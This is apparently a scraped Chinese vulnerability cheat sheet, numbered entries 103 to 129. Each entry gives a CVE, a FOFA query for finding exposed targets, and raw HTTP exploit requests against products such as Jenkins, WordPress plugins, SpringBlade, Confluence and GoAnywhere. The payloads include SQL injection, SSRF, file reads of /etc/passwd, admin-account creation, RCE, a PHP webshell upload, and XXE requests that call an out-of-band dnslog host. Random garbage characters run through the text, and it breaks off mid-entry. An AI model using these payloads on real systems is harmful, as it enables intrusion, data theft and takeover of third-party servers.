  U8 b( s( k' o) Y! n8 M3 UHost: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
/ K% A. Z( m, v9 d7 V7 J* |& hConnection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
! w: [1 ~! A3 B5 u
! O% u0 F- X! sSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
5 [$ d# l4 e  d

# s) Q) {& t$ ?其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
; M1 ?& c- p7 u+ g+ t1 V" n  ]<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

8 h, W- r( y: J" ?
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
5 D1 _; _% M- HCVE-2024-0569
FOFA：title="TOTOLINK"
* u; m4 j: ~, G8 kPOST /cgi-bin/cstecgi.cgi HTTP/1.1
" t& R" o! @+ W1 VHost:192.168.0.1
; y/ d: C5 F; z' O/ hContent-Length:41
1 p  e% M8 `- \Accept:application/json,text/javascript，*/*;q=0.01
X-Requested-with: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
) \1 w3 k9 S- R3 h2 c9 \! ]6 MContent-Type: application/x-www-form-urlencoded:charset=UTF-8
4 o! I2 H' w; l: X/ ?# y# Y$ e# OOrigin: http://192.168.0.1
$ p% E) D) Y+ p; B; G0 ~  ZReferer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
Accept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
# p" m5 e, q+ oConnection:close

{
"topicurl":"getSysStatusCfg",
, Q* K# c0 |: C/ o9 i' U) S"token":""
) C/ [; e$ X1 L: K4 W}

/ r$ `" \& x1 v# }8 {105. SpringBlade v3.2.0 export-user SQL 注入
3 `1 X- E) M) M2 Q1 ?8 V# ]FOFA：body="https://bladex.vip"
) l( P. o6 N: Q: y+ ?http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
  K5 D" T% ]/ a+ {  {6 d9 i7 s
* q3 w4 e* S4 K- }& {106. SpringBlade dict-biz/list SQL 注入
7 G$ R5 f4 s6 X1 @FOFA：body="Saber 将不能正常工作"
6 w7 A, ~- y) |3 h5 T( \GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
( G+ g; J2 q3 Q% o6 L3 U5 R3 M" }Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
- K) c" R) k1 h$ CAccept-Language: zh-CN,zh;q=0.9
Connection: close


107. SpringBlade tenant/list SQL 注入
FOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
3 T4 V5 |2 c* W& m( |$ `* lHost: your-ip
5 R/ a) H- c, b% RUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
( J% b# |$ }) Q2 ?Blade-Auth:替换为自己的
8 F( J: ]. ]) k3 r2 O" QConnection: close
; _3 L$ o2 d% Q

108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
) [! W5 F2 a# _* S/ pGET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
9 I! H: A4 z" c6 E& m/ kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
/ X4 E- K0 g2 g# [5 q# IAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
, u9 K+ R& b- a; n: n/ u  wConnection: close
+ ~( K* \" g' |8 i& y

109. Jenkins CLI 任意文件读取
CVE-2024-23897
1 X8 ~* P8 _' ^FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
' }0 i) `4 l% W1 a0 cHost:
9 b! ]9 Q9 H) r5 W% RContent-type: application/octet-stream
. S0 |+ O* V) p% RSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
5 E0 y& _" z5 r4 ^Side: upload
Connection: keep-alive
Content-Length: 163
1 ?# b' Y8 q5 A
" G5 e% H9 g5 e6 \1 Ib'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
8 K9 w* l5 m' K

POST /cli?remoting=false HTTP/1.1
+ w, V3 Q1 h$ X! ^/ A* p' r. AHost:
* T6 D! U, V/ J% W7 L- [; ]7 G8 ?- PSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
* B% ^2 a8 n7 o1 {( U6 l$ ]4 p* d; Adownload
Content-Type: application/x-www-form-urlencoded
0 \3 g9 K; H) ]- B$ W( qContent-Length: 0
8 Q2 ?7 L7 H; v! |, p0 L

: E  s  [' I1 c/ gERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
! f/ s) y# x2 A/ J2 a+ g2 ]/ [- j7 {Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)
( c; H: x9 U3 v3 [
+ L" x$ D1 Z1 O, j
; [4 }' X7 j9 l110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
4 A5 M5 y3 f/ S# w4 Y5 @3 W: wFOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
, f# C8 i' A1 L6 @- eHost: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
$ r7 z" P; T- d& O2 sConnection: close
Accept: */*
# L+ I6 X" w5 E0 }% g# ZAccept-Language: en
Accept-Encoding: gzip
5 |/ r7 e5 B9 {0 h

111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
4 \3 T% \7 b1 zFOFA："wordpress" && body="html5-video-player"
$ T5 C/ i3 Z4 W* Z1 v/ pGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
# p% v$ A& G3 y# @. F# lHost: 192.168.40.130:112
( a" ^: g; m6 w% D% S) s. pUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
* Q1 Z1 L6 K. L8 OConnection: close
+ Q: O# A9 C: W7 V, CAccept: */*
Accept-Language: en
Accept-Encoding: gzip


112. WordPress Plugin NotificationX SQL 注入
2 ]5 }; {. ~; j" ]- PCVE-2024-1698
FOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
$ W6 K4 X; [" h* _* ^# l: T
! Y+ b8 s) P; N% r' I{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}
; C, q/ e! z" [0 q  L$ l5 p7 `

2 `1 d/ @3 ]+ w8 I! g113. WordPress Automatic 插件任意文件下载和SSRF
' x! w# X: m; ^$ o% nCVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
- \4 F, ]4 z+ J  `6 yGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
Host: x.x.x.x
% G2 ?* T- f" A' `5 X- xUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
1 y5 V$ k7 N- r+ v; gConnection: close
+ H) b5 ]2 D+ t) @' o6 f, i, o( |1 J/ U$ JAccept: */*
Accept-Language: en
Accept-Encoding: gzip

5 m7 J3 P4 l8 F) ^
# Q5 j! G! J, A9 R: _" l114. WordPress MasterStudy LMS插件 SQL注入
FOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
GET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
1 T3 j2 c6 f, C; d3 v5 YHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
* J6 z! h& G% S  T4 GAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
  u" T. M' W9 ]2 B- X  v% b4 Y

- A7 P3 L/ R# a; h, I4 }115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
GET / HTTP/1.1
$ {7 f; z' P. f! ~2 CHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
' u& e) H8 `) lConnection: close
8 @9 a; I( C1 m6 U$ SAccept-Encoding: gzip

/ i% t  x1 J( Q! h
第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
) s) O' b  }2 d- d7 {! n: uHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
; B8 C( m, M, m) i! w% R8 R7 T4 uConnection: close
' R# U% |* }; @  l1 N4 T/ BContent-Length: 356
Content-Type: application/json
Accept-Encoding: gzip
7 g' Z( E3 S. J! S  M6 `
{
"postId": "1",
" c$ {" f6 l/ |7 \7 ]: E7 x  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
- A+ M7 a, O6 q) Y8 s/ V. I# e; ^; \    "settings": {
; C  \8 {8 O9 k% I4 W' x: u      "hasLoop": "true",
, p- Y; [. K- m8 f# D/ N2 l  m      "query": {
/ _/ O: C) y( Y( y+ [        "useQueryEditor": true,
$ P7 \( b1 y) `; g        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
    }
  }
( s6 R) Y& d$ J$ a- {}
0 M# s1 L& g! l/ F; {
/ S) V% L# E- a. o3 K5 _5 y
116. wordpress js-support-ticket文件上传
FOFA：body="wp-content/plugins/js-support-ticket"
4 r5 G0 u4 L; k7 O8 c; S( r! `POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0

5 K; g: r( G# B8 z3 `1 H----------767099171
Content-Disposition: form-data; name="action"
3 a. O0 @/ l! a6 Cconfiguration_saveconfiguration
1 }% y6 j% R2 V0 f  B" a! r/ Y----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
9 s) B  J/ N  P+ Y  F6 F" @* ZContent-Type: image/png
----------767099171--


117. WordPress LayerSlider插件SQL注入
- e& H0 H; {2 i) _: q- _" ]$ E+ fversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
9 E' Y  M  O, G; J" c: U6 P' UGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
+ ?" V! ?3 T. M/ ?Host: your-ip
, c" B5 a) t3 p: eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
( `' C) `* j* t' H4 }! c# UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
+ {; K9 K; K5 G5 V# x0 D! C, M4 }Connection: close
Upgrade-Insecure-Requests: 1
8 Y; u0 t( c7 P& X& L9 P+ _
1 }# ]9 ]- c+ [, }
; i- p# P! H3 g+ d118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
FOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ S% g$ z9 y: N3 M6 L" DAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
Content-Length: 405
% C9 J2 ]: p" P+ h5 HOrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
0 f+ o, A( ]  q8 {$ @) ]5 FSec-Fetch-Mode: navigate
; [2 `2 b$ e2 F0 z! H" nSec-Fetch-Site: same-origin
* x  u* n* y, E( ^2 k) _Sec-Fetch-User: ?1
Te: trailers
: i/ S( e7 `, u$ t* W6 @" jConnection: close

7 U' V5 X- w+ @-----------------------------13979701222747646634037182887
% U1 R8 S. N4 G1 `% o3 D9 ~9 VContent-Disposition: form-data; name="file_upload"; filename="contents.php"
Content-Type: application/octet-stream
1 b. ^3 I1 G- O2 x3 N
<?php
system($_POST["passwd"]);
2 a) w  u* D. y& G0 ]$ X?>
-----------------------------13979701222747646634037182887
) w3 Z  K  s9 ?( e+ \) o2 o/ yContent-Disposition: form-data; name="txt_path"

+ I9 d+ Y- y, z) W6 W9 ~/home/src.php
-----------------------------13979701222747646634037182887--


1 S& I3 M4 N! U& t) h0 t访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
9 C' }& ?7 s* ]3 o  R; ?CVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
$ k, l, u* C2 E2 P2 QPOST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
  C; P% A% ~9 m0 J6 s9 ], aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
! e: N7 P/ [. N. |+ b. P$ P# gAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
+ f; X1 @% ~! J9 |& q% OContent-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
: c/ m; y/ p( R' K9 eReferer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
X-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
X-Remote-Addr: 1.1.1.1
Te: trailers
Connection: close
6 h  m2 d1 M" D: ^% b
3 \+ v8 ~0 C( V: l# |4 Asrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
$ s% y$ s1 t- S6 K8 P0 B
  G$ j. b$ w9 y: e5 `  {7 f8 H( q- c
120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
POST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- ?7 Z, y1 A1 C- [4 |Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
& [5 ~3 Z7 d! bContent-Length: 597
Origin: https://ip:port
) ~8 {( V  u+ w# r9 N. c, u/ _Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
& l9 c6 K, w# l( j4 |- nSec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
- _; L3 G9 V: e7 r/ ^7 b+ W  W. [Te: trailers
Connection: close

7 N; p. H- N* B; L. W) k/ J-----------------------------42328904123665875270630079328
1 _. N/ R4 m. nContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream

<?php phpinfo()?>
, }5 {% ]+ |. a" U-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
# b8 K, W3 [5 l& W/ Z, {' f; Z4 fContent-Disposition: form-data; name="1_ck"
+ M9 O- u' E0 B% }& [+ n' w! B
1_radhttp
$ a. Q2 X2 E7 V7 @$ w/ z* y-----------------------------42328904123665875270630079328
9 l- K* e- r4 a! p" \Content-Disposition: form-data; name="mode"

& k% O4 ~4 M% k8 ?import
-----------------------------42328904123665875270630079328
4 \1 b+ I3 m- j- }* K* a2 K& ]

  @/ s) i9 q/ |* V$ u文件路径/upload/2.php
# {" o' w& n2 T* t+ _( A+ g
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
( q' Z/ V! l6 }  a5 d2 g9 ]" eCVE-2024-1918
7 z2 O& W% e+ |; f; K! LFOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
Host: 192.168.40.130:8443
+ k/ k$ I4 k3 }; ^7 aCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
9 d! p! e! i7 e# d% ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: o7 s; j* R2 {9 T9 NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
Origin: https://192.168.40.130:8443
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
7 L0 Q& }" k) hSec-Fetch-User: ?1
Te: trailers
" W. i& R$ I, R8 s$ d+ H& {Connection: close

9 v6 U+ M. u5 F' W1 Q& n-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
" ^4 b. M. T0 X8 `6 b- SContent-Type: application/octet-stream

# \1 C' C; t4 ~3 e<?php phpinfo();?>
-----------------------------42328904123665875270630079328
7 o+ f* q, y1 q. l+ ^4 D1 M4 V3 d0 dContent-Disposition: form-data; name="id_type"

1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
! R# z2 J& Z3 d0 c4 ?! x3 ]
1_radhttp
-----------------------------42328904123665875270630079328
# g% t% @( T" i7 n6 C" E) NContent-Disposition: form-data; name="hidwel"

set
-----------------------------42328904123665875270630079328
% Y6 H2 E) G6 K& d* l, O% Q, A

- N) j: T: Y% l; k/ Y* h/ Zboot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
1 ~( Z5 v& W! ?  g: b: l* CCVE-2024-27718FOFA：title="Smart管理平台"
' ~$ ~9 b% K' [; D& N其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
2 x0 b. C+ ?$ _8 r( {+ YHost: x.x.x.x
+ |# W* `& ]5 R. JCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 f9 m. ~5 |: E6 N% BAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: X* y9 C2 Y# ^  g4 \4 ^' MAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
- n& [6 O6 {! g% Q1 u8 hSec-Fetch-Mode: navigate
3 b& ^8 d3 W7 X# j8 r. Y$ F* I( [Sec-Fetch-Site: none
, B/ S5 [. `$ \& \+ G; ]Sec-Fetch-User: ?1
Te: trailers
Connection: close
* C+ w6 @* C+ u6 p$ O# T

2 T( v+ }# w5 e& g( v( R123. Atlassian Confluence 模板注入代码执行
+ ^& K7 v' b$ ]8 s) e. O- r% xFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
; j& V, J5 ~7 v9 [POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
. z! D6 g4 C7 ^. \9 @/ [Accept-Encoding: gzip, deflate, br
Accept: */*
* V$ r- e( j  K% ~0 u3 WAccept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
+ o6 }& s8 T& uConnection: close
Content-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
2 U, `+ ?. c& `  t
1 r! U  Z7 v9 ~" E& V+ X
. f) `1 R4 P/ L  A/ m! z& H8 ~' N124. 湖南建研工程质量检测系统任意文件上传
- T: M8 N. X( M% K& J$ CFOFA：body="/Content/Theme/Standard/webSite/login.css"
' z* E3 g" ~" U1 TPOST /Scripts/admintool?type=updatefile HTTP/1.1
/ ]7 ^9 i) |! ?. _( X; ~Host: 192.168.40.130:8282
/ V0 m2 j. `- J  {" OUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
/ C$ \9 g2 A& j' O. PContent-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
7 o% D' e) F  CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- }! g7 u( a* L8 V$ a* [- fConnection: close
Content-Type: application/x-www-form-urlencoded
# g% v+ j! X7 M& P& {
filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
, }/ w  s/ L3 l
( R# ~( }- [; ]9 N/ Y: P
http://192.168.40.130:8282/Scripts/abcgcg.aspx
& [( s# ^2 x# a8 y! d* ]) P, i
125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
6 d8 \3 [0 X! e, l) Vhttps://github.com/watchtowrlabs ... bypass-add-user-poc


使用方法
python watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
* r3 V9 f! y& T; A: S- s! O

2 L4 R6 J) \% P+ n2 w创建好用户后直接登录后台，可以执行系统命令。
7 a. v, V5 ?- p& ~! S1 Z& S+ [
6 U: x  C* L+ s* @5 o" [9 [126. Aiohttp 路径遍历
FOFA：title=="ComfyUI"
+ ~/ {  U7 ]) h* W! `GET /static/../../../../../etc/passwd HTTP/1.1
' Q+ X! _3 R& ~1 ZHost: x.x.x.x
- @5 k6 i5 _( i6 m* P2 C# gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
% b# Y1 b# E- x9 ]- Q) JConnection: close
Accept: */*
1 a$ _# Q9 Z1 N2 E1 H) RAccept-Language: en
6 a6 y$ s5 V" @7 MAccept-Encoding: gzip
$ U: b; y/ Z% C# G/ e) l, c3 p
8 ^, \, M: M9 j+ S" @
127. 广联达Linkworks DataExchange.ashx XXE
7 I9 k8 D- ^+ xFOFA：body="Services/Identification/login.ashx"
: i( ]; r1 l, R- H4 Z, f% H/ U( fPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
Host: 192.168.40.130:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
) G. w+ e: `0 o% xAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
: Z- w3 I/ ^4 y5 @8 |: y2 VPurpose: prefetch
. X% Y8 Z% M+ a+ U, \- L: x4 ?Sec-Purpose: prefetch;prerender

------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"

BIM
2 D. v, f; u% |------WebKitFormBoundaryJGgV5l5ta05yAIe0
. w3 H( D4 |; \+ ?+ M- y" N+ c" SContent-Disposition: form-data;name="Params"
$ p4 ~2 n+ b6 |( T4 DContent-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
; ]( m5 I: t( B8 g" \<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
. b8 \: Q. `9 d: N]
0 P& {4 c! ], G+ A: |+ G( j>
5 C  D+ ~9 J) I+ U  v<test>&t;</test>
! J. v( k) o2 J------WebKitFormBoundaryJGgV5l5ta05yAIe0--

9 ?/ C+ q, F; d/ O. ^: n

128. Adobe ColdFusion 反序列化
CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
6 e: u* {. r  ^% |( G/ S7 ?PAYLOAD

- s! B5 m8 {1 ?: F& p129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
2 _( w( t7 n" p8 H* C" `FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
5 ~0 r6 ~9 R, S. ]第一步，获取uuid
6 [' J/ z! k' d! e1 p7 t& vGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
9 m" |+ a' c$ ~. C- @/ QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
! i* c* a; Q$ _: HConnection: close
% `- i1 }& q1 R# x; s
+ F% P( G9 Q& O! |! `3 |  Q
第二步，读取/etc/passwd文件
